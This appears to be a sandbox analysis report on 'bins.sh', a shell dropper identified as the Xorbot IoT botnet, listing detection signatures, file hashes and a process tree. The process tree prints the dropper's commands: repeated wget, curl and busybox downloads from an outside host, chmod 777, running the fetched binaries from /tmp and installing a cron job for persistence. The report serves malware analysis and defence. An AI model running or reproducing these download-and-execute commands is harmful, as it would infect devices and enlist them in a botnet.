Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

3

bins.sh

debian-9-armhf

4

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    15/12/2024, 03:51

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241215-eegmdatjay
  • SHA256 a24abec757072d008d57a7e40423c15f31f6e8e97802b4e1c066e0312e1e0d44
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1957) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 10 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:713
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:716
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/8cxJKLMrUbjrUtRucztWPcmFEJvTOBwRMk
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:718
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/8cxJKLMrUbjrUtRucztWPcmFEJvTOBwRMk
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:736
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/8cxJKLMrUbjrUtRucztWPcmFEJvTOBwRMk
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:744
        • /bin/chmod
          chmod 777 8cxJKLMrUbjrUtRucztWPcmFEJvTOBwRMk
          2⤵
          • File and Directory Permissions Modification
          PID:746
        • /tmp/8cxJKLMrUbjrUtRucztWPcmFEJvTOBwRMk
          ./8cxJKLMrUbjrUtRucztWPcmFEJvTOBwRMk
          2⤵
          • Executes dropped EXE
          PID:747
        • /bin/rm
          rm 8cxJKLMrUbjrUtRucztWPcmFEJvTOBwRMk
          2⤵
            PID:749
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/ZW8V7fsfKEms4qMGmepb2wq8V991mVMZee
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:750
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/ZW8V7fsfKEms4qMGmepb2wq8V991mVMZee
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:751
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/ZW8V7fsfKEms4qMGmepb2wq8V991mVMZee
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:753
          • /bin/chmod
            chmod 777 ZW8V7fsfKEms4qMGmepb2wq8V991mVMZee
            2⤵
            • File and Directory Permissions Modification
            PID:754
          • /tmp/ZW8V7fsfKEms4qMGmepb2wq8V991mVMZee
            ./ZW8V7fsfKEms4qMGmepb2wq8V991mVMZee
            2⤵
            • Executes dropped EXE
            PID:755
          • /bin/rm
            rm ZW8V7fsfKEms4qMGmepb2wq8V991mVMZee
            2⤵
              PID:757
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/yx2u1PzwLTKFxW0eVNslGSb0VVyVOilAu9
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:758
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/yx2u1PzwLTKFxW0eVNslGSb0VVyVOilAu9
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:759
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/yx2u1PzwLTKFxW0eVNslGSb0VVyVOilAu9
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:761
            • /bin/chmod
              chmod 777 yx2u1PzwLTKFxW0eVNslGSb0VVyVOilAu9
              2⤵
              • File and Directory Permissions Modification
              PID:762
            • /tmp/yx2u1PzwLTKFxW0eVNslGSb0VVyVOilAu9
              ./yx2u1PzwLTKFxW0eVNslGSb0VVyVOilAu9
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:763
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:765
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:766
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:767
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:768
                  • /bin/rm
                    rm yx2u1PzwLTKFxW0eVNslGSb0VVyVOilAu9
                    2⤵
                      PID:770
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/6Iu5topBFmc3Gy8SJ6Sg2JBjZhZpmLk7yi
                      2⤵
                      • System Network Configuration Discovery
                      PID:773

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

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                        Downloads

                        8cxJKLMrUbjrUtRucztWPcmFEJvTOBwRMk
                        • Path /tmp/8cxJKLMrUbjrUtRucztWPcmFEJvTOBwRMk
                        • Size 111KB
                        • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        ZW8V7fsfKEms4qMGmepb2wq8V991mVMZee
                        • Path /tmp/ZW8V7fsfKEms4qMGmepb2wq8V991mVMZee
                        • Size 98KB
                        • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        yx2u1PzwLTKFxW0eVNslGSb0VVyVOilAu9
                        • Path /tmp/yx2u1PzwLTKFxW0eVNslGSb0VVyVOilAu9
                        • Size 151KB
                        • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        tmp.hSOXA6
                        • Path /var/spool/cron/crontabs/tmp.hSOXA6
                        • Size 210B
                        • SHA256 f675095e18dd64a7b5a935c91521568683f4e1c6709bc2c1fe9d636f30e8cf85
                        • MD5 SHA1 SHA512
                        Submit Download